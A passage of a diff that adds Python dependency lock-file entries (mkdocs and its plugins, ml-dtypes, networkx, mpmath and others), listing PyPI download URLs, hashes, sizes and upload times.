"sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "mergedeep" +version = "1.3.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3a/41/580bb4006e3ed0361b8151a01d324fb03f420815446c7def45d02f74c270/mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8", size = 4661, upload-time = "2021-02-05T18:55:30.623Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/19/04f9b178c2d8a15b076c8b5140708fa6ffc5601fb6f1e975537072df5b2a/mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307", size = 6354, upload-time = "2021-02-05T18:55:29.583Z" }, +] + +[[package]] +name = "mike" +version = "2.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata" }, + { name = "importlib-resources" }, + { name = "jinja2" }, + { name = "mkdocs" }, + { name = "pyparsing" }, + { name = "pyyaml" }, + { name = "pyyaml-env-tag" }, + { name = "verspec" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ab/f7/2933f1a1fb0e0f077d5d6a92c6c7f8a54e6128241f116dff4df8b6050bbf/mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810", size = 38119, upload-time = "2024-08-13T05:02:14.167Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/1a/31b7cd6e4e7a02df4e076162e9783620777592bea9e4bb036389389af99d/mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a", size = 33754, upload-time = "2024-08-13T05:02:12.515Z" }, +] + +[[package]] +name = "mkdocs" +version = "1.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "ghp-import" }, + { name = "jinja2" }, + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mergedeep" }, + { name = "mkdocs-get-deps" }, + { name = "packaging" }, + { name = "pathspec" }, + { name = "pyyaml" }, + { name = "pyyaml-env-tag" }, + { name = "watchdog" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bc/c6/bbd4f061bd16b378247f12953ffcb04786a618ce5e904b8c5a01a0309061/mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2", size = 3889159, upload-time = "2024-08-30T12:24:06.899Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/5b/dbc6a8cddc9cfa9c4971d59fb12bb8d42e161b7e7f8cc89e49137c5b279c/mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e", size = 3864451, upload-time = "2024-08-30T12:24:05.054Z" }, +] + +[[package]] +name = "mkdocs-autorefs" +version = "1.4.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mkdocs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c2/44/140469d87379c02f1e1870315f3143718036a983dd0416650827b8883192/mkdocs_autorefs-1.4.1.tar.gz", hash = "sha256:4b5b6235a4becb2b10425c2fa191737e415b37aa3418919db33e5d774c9db079", size = 4131355, upload-time = "2025-03-08T13:35:21.232Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f8/29/1125f7b11db63e8e32bcfa0752a4eea30abff3ebd0796f808e14571ddaa2/mkdocs_autorefs-1.4.1-py3-none-any.whl", hash = "sha256:9793c5ac06a6ebbe52ec0f8439256e66187badf4b5334b5fde0b128ec134df4f", size = 5782047, upload-time = "2025-03-08T13:35:18.889Z" }, +] + +[[package]] +name = "mkdocs-get-deps" +version = "0.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mergedeep" }, + { name = "platformdirs" }, + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/98/f5/ed29cd50067784976f25ed0ed6fcd3c2ce9eb90650aa3b2796ddf7b6870b/mkdocs_get_deps-0.2.0.tar.gz", hash = "sha256:162b3d129c7fad9b19abfdcb9c1458a651628e4b1dea628ac68790fb3061c60c", size = 10239, upload-time = "2023-11-20T17:51:09.981Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/d4/029f984e8d3f3b6b726bd33cafc473b75e9e44c0f7e80a5b29abc466bdea/mkdocs_get_deps-0.2.0-py3-none-any.whl", hash = "sha256:2bf11d0b133e77a0dd036abeeb06dec8775e46efa526dc70667d8863eefc6134", size = 9521, upload-time = "2023-11-20T17:51:08.587Z" }, +] + +[[package]] +name = "mkdocs-glightbox" +version = "0.5.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "selectolax" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8d/26/c793459622da8e31f954c6f5fb51e8f098143fdfc147b1e3c25bf686f4aa/mkdocs_glightbox-0.5.2.tar.gz", hash = "sha256:c7622799347c32310878e01ccf14f70648445561010911c80590cec0353370ac", size = 510586, upload-time = "2025-10-23T14:55:18.909Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/ca/03624e017e5ee2d7ce8a08d89f81c1e535eb3c30d7b2dc4a435ea3fbbeae/mkdocs_glightbox-0.5.2-py3-none-any.whl", hash = "sha256:23a431ea802b60b1030c73323db2eed6ba859df1a0822ce575afa43e0ea3f47e", size = 26458, upload-time = "2025-10-23T14:55:17.43Z" }, +] + +[[package]] +name = "mkdocs-material" +version = "9.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "babel" }, + { name = "backrefs" }, + { name = "colorama" }, + { name = "jinja2" }, + { name = "markdown" }, + { name = "mkdocs" }, + { name = "mkdocs-material-extensions" }, + { name = "paginate" }, + { name = "pygments" }, + { name = "pymdown-extensions" }, + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/27/e2/2ffc356cd72f1473d07c7719d82a8f2cbd261666828614ecb95b12169f41/mkdocs_material-9.7.1.tar.gz", hash = "sha256:89601b8f2c3e6c6ee0a918cc3566cb201d40bf37c3cd3c2067e26fadb8cce2b8", size = 4094392, upload-time = "2025-12-18T09:49:00.308Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3e/32/ed071cb721aca8c227718cffcf7bd539620e9799bbf2619e90c757bfd030/mkdocs_material-9.7.1-py3-none-any.whl", hash = "sha256:3f6100937d7d731f87f1e3e3b021c97f7239666b9ba1151ab476cabb96c60d5c", size = 9297166, upload-time = "2025-12-18T09:48:56.664Z" }, +] + +[[package]] +name = "mkdocs-material-extensions" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/79/9b/9b4c96d6593b2a541e1cb8b34899a6d021d208bb357042823d4d2cabdbe7/mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443", size = 11847, upload-time = "2023-11-22T19:09:45.208Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5b/54/662a4743aa81d9582ee9339d4ffa3c8fd40a4965e033d77b9da9774d3960/mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31", size = 8728, upload-time = "2023-11-22T19:09:43.465Z" }, +] + +[[package]] +name = "mkdocs-minify-plugin" +version = "0.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "csscompressor" }, + { name = "htmlmin2" }, + { name = "jsmin" }, + { name = "mkdocs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/52/67/fe4b77e7a8ae7628392e28b14122588beaf6078b53eb91c7ed000fd158ac/mkdocs-minify-plugin-0.8.0.tar.gz", hash = "sha256:bc11b78b8120d79e817308e2b11539d790d21445eb63df831e393f76e52e753d", size = 8366, upload-time = "2024-01-29T16:11:32.982Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/cd/2e8d0d92421916e2ea4ff97f10a544a9bd5588eb747556701c983581df13/mkdocs_minify_plugin-0.8.0-py3-none-any.whl", hash = "sha256:5fba1a3f7bd9a2142c9954a6559a57e946587b21f133165ece30ea145c66aee6", size = 6723, upload-time = "2024-01-29T16:11:31.851Z" }, +] + +[[package]] +name = "mkdocstrings" +version = "1.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jinja2" }, + { name = "markdown" }, + { name = "markupsafe" }, + { name = "mkdocs" }, + { name = "mkdocs-autorefs" }, + { name = "pymdown-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/46/62/0dfc5719514115bf1781f44b1d7f2a0923fcc01e9c5d7990e48a05c9ae5d/mkdocstrings-1.0.3.tar.gz", hash = "sha256:ab670f55040722b49bb45865b2e93b824450fb4aef638b00d7acb493a9020434", size = 100946, upload-time = "2026-02-07T14:31:40.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/41/1cf02e3df279d2dd846a1bf235a928254eba9006dd22b4a14caa71aed0f7/mkdocstrings-1.0.3-py3-none-any.whl", hash = "sha256:0d66d18430c2201dc7fe85134277382baaa15e6b30979f3f3bdbabd6dbdb6046", size = 35523, upload-time = "2026-02-07T14:31:39.27Z" }, +] + +[[package]] +name = "mkdocstrings-python" +version = "2.0.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "griffelib" }, + { name = "mkdocs-autorefs" }, + { name = "mkdocstrings" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/29/33/c225eaf898634bdda489a6766fc35d1683c640bffe0e0acd10646b13536d/mkdocstrings_python-2.0.3.tar.gz", hash = "sha256:c518632751cc869439b31c9d3177678ad2bfa5c21b79b863956ad68fc92c13b8", size = 199083, upload-time = "2026-02-20T10:38:36.368Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/32/28/79f0f8de97cce916d5ae88a7bee1ad724855e83e6019c0b4d5b3fabc80f3/mkdocstrings_python-2.0.3-py3-none-any.whl", hash = "sha256:0b83513478bdfd803ff05aa43e9b1fca9dd22bcd9471f09ca6257f009bc5ee12", size = 104779, upload-time = "2026-02-20T10:38:34.517Z" }, +] + +[[package]] +name = "ml-dtypes" +version = "0.5.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0e/4a/c27b42ed9b1c7d13d9ba8b6905dece787d6259152f2309338aed29b2447b/ml_dtypes-0.5.4.tar.gz", hash = "sha256:8ab06a50fb9bf9666dd0fe5dfb4676fa2b0ac0f31ecff72a6c3af8e22c063453", size = 692314, upload-time = "2025-11-17T22:32:31.031Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/3a/c5b855752a70267ff729c349e650263adb3c206c29d28cc8ea7ace30a1d5/ml_dtypes-0.5.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b95e97e470fe60ed493fd9ae3911d8da4ebac16bd21f87ffa2b7c588bf22ea2c", size = 679735, upload-time = "2025-11-17T22:31:31.367Z" }, + { url = "https://files.pythonhosted.org/packages/41/79/7433f30ee04bd4faa303844048f55e1eb939131c8e5195a00a96a0939b64/ml_dtypes-0.5.4-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b4b801ebe0b477be666696bda493a9be8356f1f0057a57f1e35cd26928823e5a", size = 5051883, upload-time = "2025-11-17T22:31:33.658Z" }, + { url = "https://files.pythonhosted.org/packages/10/b1/8938e8830b0ee2e167fc75a094dea766a1152bde46752cd9bfc57ee78a82/ml_dtypes-0.5.4-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:388d399a2152dd79a3f0456a952284a99ee5c93d3e2f8dfe25977511e0515270", size = 5030369, upload-time = "2025-11-17T22:31:35.595Z" }, + { url = "https://files.pythonhosted.org/packages/c7/a3/51886727bd16e2f47587997b802dd56398692ce8c6c03c2e5bb32ecafe26/ml_dtypes-0.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:4ff7f3e7ca2972e7de850e7b8fcbb355304271e2933dd90814c1cb847414d6e2", size = 210738, upload-time = "2025-11-17T22:31:37.43Z" }, + { url = "https://files.pythonhosted.org/packages/c6/5e/712092cfe7e5eb667b8ad9ca7c54442f21ed7ca8979745f1000e24cf8737/ml_dtypes-0.5.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6c7ecb74c4bd71db68a6bea1edf8da8c34f3d9fe218f038814fd1d310ac76c90", size = 679734, upload-time = "2025-11-17T22:31:39.223Z" }, + { url = "https://files.pythonhosted.org/packages/4f/cf/912146dfd4b5c0eea956836c01dcd2fce6c9c844b2691f5152aca196ce4f/ml_dtypes-0.5.4-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc11d7e8c44a65115d05e2ab9989d1e045125d7be8e05a071a48bc76eb6d6040", size = 5056165, upload-time = "2025-11-17T22:31:41.071Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/19189ea605017473660e43762dc853d2797984b3c7bf30ce656099add30c/ml_dtypes-0.5.4-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:19b9a53598f21e453ea2fbda8aa783c20faff8e1eeb0d7ab899309a0053f1483", size = 5034975, upload-time = "2025-11-17T22:31:42.758Z" }, + { url = "https://files.pythonhosted.org/packages/b4/24/70bd59276883fdd91600ca20040b41efd4902a923283c4d6edcb1de128d2/ml_dtypes-0.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:7c23c54a00ae43edf48d44066a7ec31e05fdc2eee0be2b8b50dd1903a1db94bb", size = 210742, upload-time = "2025-11-17T22:31:44.068Z" }, + { url = "https://files.pythonhosted.org/packages/a0/c9/64230ef14e40aa3f1cb254ef623bf812735e6bec7772848d19131111ac0d/ml_dtypes-0.5.4-cp311-cp311-win_arm64.whl", hash = "sha256:557a31a390b7e9439056644cb80ed0735a6e3e3bb09d67fd5687e4b04238d1de", size = 160709, upload-time = "2025-11-17T22:31:46.557Z" }, + { url = "https://files.pythonhosted.org/packages/a8/b8/3c70881695e056f8a32f8b941126cf78775d9a4d7feba8abcb52cb7b04f2/ml_dtypes-0.5.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a174837a64f5b16cab6f368171a1a03a27936b31699d167684073ff1c4237dac", size = 676927, upload-time = "2025-11-17T22:31:48.182Z" }, + { url = "https://files.pythonhosted.org/packages/54/0f/428ef6881782e5ebb7eca459689448c0394fa0a80bea3aa9262cba5445ea/ml_dtypes-0.5.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7f7c643e8b1320fd958bf098aa7ecf70623a42ec5154e3be3be673f4c34d900", size = 5028464, upload-time = "2025-11-17T22:31:50.135Z" }, + { url = "https://files.pythonhosted.org/packages/3a/cb/28ce52eb94390dda42599c98ea0204d74799e4d8047a0eb559b6fd648056/ml_dtypes-0.5.4-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ad459e99793fa6e13bd5b7e6792c8f9190b4e5a1b45c63aba14a4d0a7f1d5ff", size = 5009002, upload-time = "2025-11-17T22:31:52.001Z" }, + { url = "https://files.pythonhosted.org/packages/f5/f0/0cfadd537c5470378b1b32bd859cf2824972174b51b873c9d95cfd7475a5/ml_dtypes-0.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:c1a953995cccb9e25a4ae19e34316671e4e2edaebe4cf538229b1fc7109087b7", size = 212222, upload-time = "2025-11-17T22:31:53.742Z" }, + { url = "https://files.pythonhosted.org/packages/16/2e/9acc86985bfad8f2c2d30291b27cd2bb4c74cea08695bd540906ed744249/ml_dtypes-0.5.4-cp312-cp312-win_arm64.whl", hash = "sha256:9bad06436568442575beb2d03389aa7456c690a5b05892c471215bfd8cf39460", size = 160793, upload-time = "2025-11-17T22:31:55.358Z" }, + { url = "https://files.pythonhosted.org/packages/d9/a1/4008f14bbc616cfb1ac5b39ea485f9c63031c4634ab3f4cf72e7541f816a/ml_dtypes-0.5.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8c760d85a2f82e2bed75867079188c9d18dae2ee77c25a54d60e9cc79be1bc48", size = 676888, upload-time = "2025-11-17T22:31:56.907Z" }, + { url = "https://files.pythonhosted.org/packages/d3/b7/dff378afc2b0d5a7d6cd9d3209b60474d9819d1189d347521e1688a60a53/ml_dtypes-0.5.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ce756d3a10d0c4067172804c9cc276ba9cc0ff47af9078ad439b075d1abdc29b", size = 5036993, upload-time = "2025-11-17T22:31:58.497Z" }, + { url = "https://files.pythonhosted.org/packages/eb/33/40cd74219417e78b97c47802037cf2d87b91973e18bb968a7da48a96ea44/ml_dtypes-0.5.4-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:533ce891ba774eabf607172254f2e7260ba5f57bdd64030c9a4fcfbd99815d0d", size = 5010956, upload-time = "2025-11-17T22:31:59.931Z" }, + { url = "https://files.pythonhosted.org/packages/e1/8b/200088c6859d8221454825959df35b5244fa9bdf263fd0249ac5fb75e281/ml_dtypes-0.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:f21c9219ef48ca5ee78402d5cc831bd58ea27ce89beda894428bc67a52da5328", size = 212224, upload-time = "2025-11-17T22:32:01.349Z" }, + { url = "https://files.pythonhosted.org/packages/8f/75/dfc3775cb36367816e678f69a7843f6f03bd4e2bcd79941e01ea960a068e/ml_dtypes-0.5.4-cp313-cp313-win_arm64.whl", hash = "sha256:35f29491a3e478407f7047b8a4834e4640a77d2737e0b294d049746507af5175", size = 160798, upload-time = "2025-11-17T22:32:02.864Z" }, + { url = "https://files.pythonhosted.org/packages/4f/74/e9ddb35fd1dd43b1106c20ced3f53c2e8e7fc7598c15638e9f80677f81d4/ml_dtypes-0.5.4-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:304ad47faa395415b9ccbcc06a0350800bc50eda70f0e45326796e27c62f18b6", size = 702083, upload-time = "2025-11-17T22:32:04.08Z" }, + { url = "https://files.pythonhosted.org/packages/74/f5/667060b0aed1aa63166b22897fdf16dca9eb704e6b4bbf86848d5a181aa7/ml_dtypes-0.5.4-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6a0df4223b514d799b8a1629c65ddc351b3efa833ccf7f8ea0cf654a61d1e35d", size = 5354111, upload-time = "2025-11-17T22:32:05.546Z" }, + { url = "https://files.pythonhosted.org/packages/40/49/0f8c498a28c0efa5f5c95a9e374c83ec1385ca41d0e85e7cf40e5d519a21/ml_dtypes-0.5.4-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:531eff30e4d368cb6255bc2328d070e35836aa4f282a0fb5f3a0cd7260257298", size = 5366453, upload-time = "2025-11-17T22:32:07.115Z" }, + { url = "https://files.pythonhosted.org/packages/8c/27/12607423d0a9c6bbbcc780ad19f1f6baa2b68b18ce4bddcdc122c4c68dc9/ml_dtypes-0.5.4-cp313-cp313t-win_amd64.whl", hash = "sha256:cb73dccfc991691c444acc8c0012bee8f2470da826a92e3a20bb333b1a7894e6", size = 225612, upload-time = "2025-11-17T22:32:08.615Z" }, + { url = "https://files.pythonhosted.org/packages/e5/80/5a5929e92c72936d5b19872c5fb8fc09327c1da67b3b68c6a13139e77e20/ml_dtypes-0.5.4-cp313-cp313t-win_arm64.whl", hash = "sha256:3bbbe120b915090d9dd1375e4684dd17a20a2491ef25d640a908281da85e73f1", size = 164145, upload-time = "2025-11-17T22:32:09.782Z" }, + { url = "https://files.pythonhosted.org/packages/72/4e/1339dc6e2557a344f5ba5590872e80346f76f6cb2ac3dd16e4666e88818c/ml_dtypes-0.5.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:2b857d3af6ac0d39db1de7c706e69c7f9791627209c3d6dedbfca8c7e5faec22", size = 673781, upload-time = "2025-11-17T22:32:11.364Z" }, + { url = "https://files.pythonhosted.org/packages/04/f9/067b84365c7e83bda15bba2b06c6ca250ce27b20630b1128c435fb7a09aa/ml_dtypes-0.5.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:805cef3a38f4eafae3a5bf9ebdcdb741d0bcfd9e1bd90eb54abd24f928cd2465", size = 5036145, upload-time = "2025-11-17T22:32:12.783Z" }, + { url = "https://files.pythonhosted.org/packages/c6/bb/82c7dcf38070b46172a517e2334e665c5bf374a262f99a283ea454bece7c/ml_dtypes-0.5.4-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:14a4fd3228af936461db66faccef6e4f41c1d82fcc30e9f8d58a08916b1d811f", size = 5010230, upload-time = "2025-11-17T22:32:14.38Z" }, + { url = "https://files.pythonhosted.org/packages/e9/93/2bfed22d2498c468f6bcd0d9f56b033eaa19f33320389314c19ef6766413/ml_dtypes-0.5.4-cp314-cp314-win_amd64.whl", hash = "sha256:8c6a2dcebd6f3903e05d51960a8058d6e131fe69f952a5397e5dbabc841b6d56", size = 221032, upload-time = "2025-11-17T22:32:15.763Z" }, + { url = "https://files.pythonhosted.org/packages/76/a3/9c912fe6ea747bb10fe2f8f54d027eb265db05dfb0c6335e3e063e74e6e8/ml_dtypes-0.5.4-cp314-cp314-win_arm64.whl", hash = "sha256:5a0f68ca8fd8d16583dfa7793973feb86f2fbb56ce3966daf9c9f748f52a2049", size = 163353, upload-time = "2025-11-17T22:32:16.932Z" }, + { url = "https://files.pythonhosted.org/packages/cd/02/48aa7d84cc30ab4ee37624a2fd98c56c02326785750cd212bc0826c2f15b/ml_dtypes-0.5.4-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:bfc534409c5d4b0bf945af29e5d0ab075eae9eecbb549ff8a29280db822f34f9", size = 702085, upload-time = "2025-11-17T22:32:18.175Z" }, + { url = "https://files.pythonhosted.org/packages/5a/e7/85cb99fe80a7a5513253ec7faa88a65306be071163485e9a626fce1b6e84/ml_dtypes-0.5.4-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2314892cdc3fcf05e373d76d72aaa15fda9fb98625effa73c1d646f331fcecb7", size = 5355358, upload-time = "2025-11-17T22:32:19.7Z" }, + { url = "https://files.pythonhosted.org/packages/79/2b/a826ba18d2179a56e144aef69e57fb2ab7c464ef0b2111940ee8a3a223a2/ml_dtypes-0.5.4-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0d2ffd05a2575b1519dc928c0b93c06339eb67173ff53acb00724502cda231cf", size = 5366332, upload-time = "2025-11-17T22:32:21.193Z" }, + { url = "https://files.pythonhosted.org/packages/84/44/f4d18446eacb20ea11e82f133ea8f86e2bf2891785b67d9da8d0ab0ef525/ml_dtypes-0.5.4-cp314-cp314t-win_amd64.whl", hash = "sha256:4381fe2f2452a2d7589689693d3162e876b3ddb0a832cde7a414f8e1adf7eab1", size = 236612, upload-time = "2025-11-17T22:32:22.579Z" }, + { url = "https://files.pythonhosted.org/packages/ad/3f/3d42e9a78fe5edf792a83c074b13b9b770092a4fbf3462872f4303135f09/ml_dtypes-0.5.4-cp314-cp314t-win_arm64.whl", hash = "sha256:11942cbf2cf92157db91e5022633c0d9474d4dfd813a909383bd23ce828a4b7d", size = 168825, upload-time = "2025-11-17T22:32:23.766Z" }, +] + +[[package]] +name = "more-itertools" +version = "10.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ce/a0/834b0cebabbfc7e311f30b46c8188790a37f89fc8d756660346fe5abfd09/more_itertools-10.7.0.tar.gz", hash = "sha256:9fddd5403be01a94b204faadcff459ec3568cf110265d3c54323e1e866ad29d3", size = 127671, upload-time = "2025-04-22T14:17:41.838Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2b/9f/7ba6f94fc1e9ac3d2b853fdff3035fb2fa5afbed898c4a72b8a020610594/more_itertools-10.7.0-py3-none-any.whl", hash = "sha256:d43980384673cb07d2f7d2d918c616b30c659c089ee23953f601d6609c67510e", size = 65278, upload-time = "2025-04-22T14:17:40.49Z" }, +] + +[[package]] +name = "mpmath" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a9774d00c7bc92411c19a89209d5da7c4c9a9e227be8330a23a25b91f", size = 508106, upload-time = "2023-03-07T16:47:11.061Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c", size = 536198, upload-time = "2023-03-07T16:47:09.197Z" }, +] + +[[package]] +name = "networkx" +version = "3.4.2" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11' and sys_platform == 'darwin'", + "python_full_version < '3.11' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version < '3.11' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version < '3.11' and sys_platform != 'darwin' and sys_platform != 'linux')", +] +sdist = { url = "https://files.pythonhosted.org/packages/fd/1d/06475e1cd5264c0b870ea2cc6fdb3e37177c1e565c43f56ff17a10e3937f/networkx-3.4.2.tar.gz", hash = "sha256:307c3669428c5362aab27c8a1260aa8f47c4e91d3891f48be0141738d8d053e1", size = 2151368, upload-time = "2024-10-21T12:39:38.695Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/54/dd730b32ea14ea797530a4479b2ed46a6fb250f682a9cfb997e968bf0261/networkx-3.4.2-py3-none-any.whl", hash = "sha256:df5d4365b724cf81b8c6a7312509d0c22386097011ad1abe274afd5e9d3bbc5f", size = 1723263, upload-time = "2024-10-21T12:39:36.247Z" }, +] + +[[package]] +name = "networkx" +version = "3.6.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.14' and sys_platform == 'darwin'", + "python_full_version == '3.13.*' and sys_platform == 'darwin'", + "python_full_version == '3.12.*' and sys_platform == 'darwin'", + "python_full_version >= '3.14' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.13.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.12.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version >= '3.14' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version >= '3.14' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.13.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.13.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.12.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.12.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "python_full_version == '3.11.*' and sys_platform == 'darwin'", + "python_full_version == '3.11.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version == '3.11.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.11.*' and sys_platform != 'darwin' and sys_platform != 'linux')", +] +sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357accc0c8cde558ad486283728b65b6a95d85ee1cd66bafab4c8168509", size = 2517025, upload-time = "2025-12-08T17:02:39.908Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f3762", size = 2068504, upload-time = "2025-12-08T17:02:38.159Z" }, +] + +[[package]] +name = "nh3" +version = "0.2.21" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/37/30/2f81466f250eb7f591d4d193930df661c8c23e9056bdc78e365b646054d8/nh3-0.2.21.tar.gz", hash = "sha256:4990e7ee6a55490dbf00d61a6f476c9a3258e31e711e13713b2ea7d6616f670e", size = 16581, upload-time = "2025-02-25T13:38:44.619Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/81/b83775687fcf00e08ade6d4605f0be9c4584cb44c4973d9f27b7456a31c9/nh3-0.2.21-cp313-cp313t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = 